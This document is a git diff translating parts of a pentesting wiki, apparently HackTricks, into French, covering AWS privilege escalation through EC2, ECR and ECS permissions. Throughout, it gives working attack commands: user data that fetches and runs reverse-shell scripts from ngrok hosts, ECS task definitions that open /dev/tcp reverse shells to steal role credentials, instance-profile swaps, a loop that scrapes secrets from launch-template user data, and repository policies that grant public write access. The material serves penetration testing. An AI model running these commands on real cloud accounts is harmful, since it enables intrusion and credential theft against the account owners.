+--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
+--security-group-ids <sg-id>
 ```
+- **Accès via rev shell dans les données utilisateur**
 
-- **Access via rev shell in user data**
-
-You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way.
-
+Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
 
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
-   --iam-instance-profile Name=E<instance-profile-name> \
-   --count 1 \
-   --user-data "file:///tmp/rev.sh"
+--iam-instance-profile Name=E<instance-profile-name> \
+--count 1 \
+--user-data "file:///tmp/rev.sh"
 ```
-
-Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
+Soyez prudent avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}
 
-**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles.
+**Impact potentiel :** Privesc direct à tout rôle EC2 attaché aux profils d'instance existants.
 
-#### Privesc to ECS
-
-With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**.
+#### Privesc à ECS
 
+Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès, puis vous pourrez pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**.
 ```bash
 aws ec2 run-instances \
-    --image-id ami-07fde2ae86109a2af \
-    --instance-type t2.micro \
-    --iam-instance-profile <ECS_role> \
-    --count 1 --key-name pwned \
-    --user-data "file:///tmp/asd.sh"
+--image-id ami-07fde2ae86109a2af \
+--instance-type t2.micro \
+--iam-instance-profile <ECS_role> \
+--count 1 --key-name pwned \
+--user-data "file:///tmp/asd.sh"
 
 # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
 # The EC2 instance profile needs basic ECS access
@@ -64,22 +59,20 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-
-To learn how to **force ECS services to be run** in this new EC2 instance check:
+Pour apprendre à **forcer les services ECS à s'exécuter** dans cette nouvelle instance EC2, consultez :
 
 {{#ref}}
 aws-ecs-privesc.md
 {{#endref}}
 
-If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
+Si vous **ne pouvez pas créer une nouvelle instance** mais avez la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.
 
-**Potential Impact:** Direct privesc to ECS roles attached to tasks.
+**Impact potentiel :** Privesc direct vers les rôles ECS attachés aux tâches.
 
 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
 
-Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
-As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
-
+Semblable au scénario précédent, un attaquant avec ces permissions pourrait **changer le rôle IAM d'une instance compromise** afin de pouvoir voler de nouvelles informations d'identification.\
+Comme un profil d'instance ne peut avoir qu'un seul rôle, si le profil d'instance **a déjà un rôle** (cas courant), vous aurez également besoin de **`iam:RemoveRoleFromInstanceProfile`**.
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
+Si le **profil d'instance a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **profil d'instance sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à ce **profil d'instance** (comme discuté précédemment), et **associer le profil d'instance** compromis à une instance compromise :
 
-If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**
-
-- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \*
-
+- Si l'instance **n'a pas de profil d'instance** (`ec2:AssociateIamInstanceProfile`) \*
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-
-**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
+**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
-With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
-
-- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \*
+Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui lui est associé.
 
+- S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer** \*
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-
-- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
-
+- ou **remplacer** le **profil d'instance** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`). \*
 ````
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
 ````
-
-**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
+**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).
 
 ### `ec2:RequestSpotInstances`,`iam:PassRole`
 
-An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
-Once the instance is run, he can **steal the IAM role**.
-
+Un attaquant avec les permissions **`ec2:RequestSpotInstances`et`iam:PassRole`** peut **demander** une **Spot Instance** avec un **rôle EC2 attaché** et un **rev shell** dans les **données utilisateur**.\
+Une fois l'instance lancée, il peut **voler le rôle IAM**.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
 ' | base64)
 
 aws ec2 request-spot-instances \
-   --instance-count 1 \
-   --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
+--instance-count 1 \
+--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
 ```
-
 ### `ec2:ModifyInstanceAttribute`
 
-An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**.
-
-Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**.
+Un attaquant avec le **`ec2:ModifyInstanceAttribute`** peut modifier les attributs des instances. Parmi eux, il peut **changer les données utilisateur**, ce qui implique qu'il peut faire en sorte que l'instance **exécute des données arbitraires.** Cela peut être utilisé pour obtenir un **rev shell sur l'instance EC2**.
 
+Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH"
 aws ec2 stop-instances --instance-ids $INSTANCE_ID
 
 aws ec2 modify-instance-attribute \
-    --instance-id="$INSTANCE_ID" \
-    --attribute userData \
-    --value file://$TEXT_PATH
+--instance-id="$INSTANCE_ID" \
+--attribute userData \
+--value file://$TEXT_PATH
 
 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-
-**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance.
+**Impact potentiel :** Privesc direct à tout rôle IAM EC2 attaché à une instance créée.
 
 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
 
-An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.
-
+Un attaquant avec les permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` et `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle version de modèle de lancement** avec un **rev shell dans** les **données utilisateur** et **tout rôle IAM EC2 dessus**, changer la version par défaut, et **tout groupe Autoscaler** **utilisant** ce **modèle de lancement** qui est **configuré** pour utiliser la **dernière** ou la **version par défaut** va **relancer les instances** en utilisant ce modèle et exécutera le rev shell.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
 ' | base64)
 
 aws ec2 create-launch-template-version \
-   --launch-template-name bad_template \
-   --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
+--launch-template-name bad_template \
+--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
 
 aws ec2 modify-launch-template \
-   --launch-template-name bad_template \
-   --default-version 2
+--launch-template-name bad_template \
+--default-version 2
 ```
-
-**Potential Impact:** Direct privesc to a different EC2 role.
+**Impact potentiel :** Privesc direct vers un rôle EC2 différent.
 
 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
 
-An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**.
-
+Un attaquant avec les permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une configuration de lancement** avec un **rôle IAM** et un **rev shell** à l'intérieur des **données utilisateur**, puis **créer un groupe d'autoscaling** à partir de cette configuration et attendre que le rev shell **vole le rôle IAM**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
-   --launch-configuration-name bad_config \
-   --image-id ami-0c1bc246476a5572b \
-   --instance-type t3.micro \
-   --iam-instance-profile EC2-CloudWatch-Agent-Role \
-   --user-data "$REV"
+--launch-configuration-name bad_config \
+--image-id ami-0c1bc246476a5572b \
+--instance-type t3.micro \
+--iam-instance-profile EC2-CloudWatch-Agent-Role \
+--user-data "$REV"
 
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
-   --auto-scaling-group-name bad_auto \
-   --min-size 1 --max-size 1 \
-   --launch-configuration-name bad_config \
-   --desired-capacity 1 \
-   --vpc-zone-identifier "subnet-e282f9b8"
+--auto-scaling-group-name bad_auto \
+--min-size 1 --max-size 1 \
+--launch-configuration-name bad_config \
+--desired-capacity 1 \
+--vpc-zone-identifier "subnet-e282f9b8"
 ```
-
-**Potential Impact:** Direct privesc to a different EC2 role.
+**Impact potentiel :** Privesc direct vers un rôle EC2 différent.
 
 ### `!autoscaling`
 
-The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc).
+L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **n'est pas suffisant pour escalader** les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans la Configuration de Lancement ou dans le Modèle de Lancement **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
 
 ### `ec2-instance-connect:SendSSHPublicKey`
 
-An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges.
-
+Un attaquant avec la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges.
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
-   --instance-id "$INSTANCE_ID" \
-   --instance-os-user "ec2-user" \
-   --ssh-public-key "file://$PUBK_PATH"
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "ec2-user" \
+--ssh-public-key "file://$PUBK_PATH"
 ```
-
-**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances.
+**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution.
 
 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
 
-An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**.
-
-In order to connect to the serial port you also **need to know the username and password of a user** inside the machine.
+Un attaquant ayant la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**.
 
+Pour se connecter au port série, vous devez également **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine.
 ```bash
 aws ec2 enable-serial-console-access
 
 aws ec2-instance-connect send-serial-console-ssh-public-key \
-   --instance-id "$INSTANCE_ID" \
-   --serial-port 0 \
-   --region "eu-west-1" \
-   --ssh-public-key "file://$PUBK_PATH"
+--instance-id "$INSTANCE_ID" \
+--serial-port 0 \
+--region "eu-west-1" \
+--ssh-public-key "file://$PUBK_PATH"
 
 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
+Cette méthode n'est pas très utile pour le privesc car vous devez connaître un nom d'utilisateur et un mot de passe pour l'exploiter.
 
-This way isn't that useful to privesc as you need to know a username and password to exploit it.
-
-**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.
+**Impact potentiel :** (Hautement invérifiable) Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution.
 
 ### `describe-launch-templates`,`describe-launch-template-versions`
 
-Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
-
+Étant donné que les modèles de lancement ont une version, un attaquant avec les permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des identifiants présents dans les données utilisateur. Pour ce faire, le script suivant parcourt toutes les versions des modèles de lancement disponibles :
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
-  echo "[*] Analyzing $i"
-  aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
-  do
-    echo "VersionNumber: $version"
-    echo "$userdata" | base64 -d
-    echo
-  done | grep -iE "aws_|password|token|api"
+echo "[*] Analyzing $i"
+aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
+do
+echo "VersionNumber: $version"
+echo "$userdata" | base64 -d
+echo
+done | grep -iE "aws_|password|token|api"
 done
 ```
+Dans les commandes ci-dessus, bien que nous spécifions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.
 
-In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
+En supposant que nous trouvions `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.
 
-Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
+**Impact potentiel :** Escalade de privilèges directe vers l'utilisateur IAM.
 
-**Potential Impact:** Direct privilege escalation to IAM user(s).
-
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index fd4686edb..a4174e3b2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -6,21 +6,21 @@
 
 ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
 
-An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
+Un attaquant avec le **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images.
 
-For more info on how to download images:
+Pour plus d'informations sur la façon de télécharger des images :
 
 {{#ref}}
 ../aws-post-exploitation/aws-ecr-post-exploitation.md
 {{#endref}}
 
-**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
+**Impact potentiel :** Privesc indirect en interceptant des informations sensibles dans le trafic.
 
 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
 
-An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
+Un attaquant avec toutes ces autorisations **peut se connecter à ECR et télécharger des images**. Cela peut être utile pour élever les privilèges vers d'autres environnements où ces images sont utilisées.
 
-To learn how to upload a new image/update one, check:
+Pour apprendre à télécharger une nouvelle image/mette à jour une, consultez :
 
 {{#ref}}
 ../aws-services/aws-eks-enum.md
@@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check:
 
 ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
 
-Like the previous section, but for public repositories.
+Comme la section précédente, mais pour les dépôts publics.
 
 ### `ecr:SetRepositoryPolicy`
 
-An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
-For example, in this example read access is given to everyone.
-
+Un attaquant avec cette autorisation pourrait **changer** la **politique** du **dépôt** pour se donner (ou même à tout le monde) **un accès en lecture/écriture**.\
+Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.
 ```bash
 aws ecr set-repository-policy \
-    --repository-name <repo_name> \
-    --policy-text file://my-policy.json
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
 ```
-
-Contents of `my-policy.json`:
-
+Contenu de `my-policy.json` :
 ```json
 {
-  "Version": "2008-10-17",
-  "Statement": [
-    {
-      "Sid": "allow public pull",
-      "Effect": "Allow",
-      "Principal": "*",
-      "Action": [
-        "ecr:BatchCheckLayerAvailability",
-        "ecr:BatchGetImage",
-        "ecr:GetDownloadUrlForLayer"
-      ]
-    }
-  ]
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "allow public pull",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
 }
 ```
-
 ### `ecr-public:SetRepositoryPolicy`
 
-Like the previoous section, but for public repositories.\
-An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
-
+Comme la section précédente, mais pour les dépôts publics.\
+Un attaquant peut **modifier la politique du dépôt** d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges.
 ```bash
 bashCopy code# Create a JSON file with the malicious public repository policy
 echo '{
-  "Version": "2008-10-17",
-  "Statement": [
-    {
-      "Sid": "MaliciousPublicRepoPolicy",
-      "Effect": "Allow",
-      "Principal": "*",
-      "Action": [
-        "ecr-public:GetDownloadUrlForLayer",
-        "ecr-public:BatchGetImage",
-        "ecr-public:BatchCheckLayerAvailability",
-        "ecr-public:PutImage",
-        "ecr-public:InitiateLayerUpload",
-        "ecr-public:UploadLayerPart",
-        "ecr-public:CompleteLayerUpload",
-        "ecr-public:DeleteRepositoryPolicy"
-      ]
-    }
-  ]
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "MaliciousPublicRepoPolicy",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr-public:GetDownloadUrlForLayer",
+"ecr-public:BatchGetImage",
+"ecr-public:BatchCheckLayerAvailability",
+"ecr-public:PutImage",
+"ecr-public:InitiateLayerUpload",
+"ecr-public:UploadLayerPart",
+"ecr-public:CompleteLayerUpload",
+"ecr-public:DeleteRepositoryPolicy"
+]
+}
+]
 }' > malicious_public_repo_policy.json
 
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-
-**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
+**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.
 
 ### `ecr:PutRegistryPolicy`
 
-An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
-
+Un attaquant avec cette permission pourrait **changer** la **politique de registre** pour se donner, à son compte (ou même à tout le monde) un **accès en lecture/écriture**.
 ```bash
 aws ecr set-repository-policy \
-    --repository-name <repo_name> \
-    --policy-text file://my-policy.json
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 4988270ab..77cc3df65 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -4,7 +4,7 @@
 
 ## ECS
 
-More **info about ECS** in:
+Plus **d'infos sur ECS** dans :
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,185 +12,173 @@ More **info about ECS** in:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.
-
+Un attaquant abusant de la permission `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les informations d'identification des métadonnées et **l'exécuter**.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
-    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
-    --network-mode "awsvpc" \
-    --cpu 256 --memory 512\
-    --requires-compatibilities "[\"FARGATE\"]" \
-    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
 
 # Run task definition
 aws ecs run-task --task-definition iam_exfiltration \
-    --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
-    --launch-type FARGATE \
-    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
+--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
 
 # Delete task definition
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-
-**Potential Impact:** Direct privesc to a different ECS role.
+**Impact potentiel :** Privesc direct vers un rôle ECS différent.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
-However, in this case, a container instance to run the malicious task definition need to be.
-
+Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les informations d'identification des métadonnées et **l'exécuter**.\
+Cependant, dans ce cas, une instance de conteneur doit être disponible pour exécuter la définition de tâche malveillante.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
-    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
-    --network-mode "awsvpc" \
-    --cpu 256 --memory 512\
-    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
 
 aws ecs start-task --task-definition iam_exfiltration \
-    --container-instances <instance_id>
+--container-instances <instance_id>
 
 # Delete task definition
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-
-**Potential Impact:** Direct privesc to any ECS role.
+**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
-Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.**
-
+Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les informations d'identification des métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
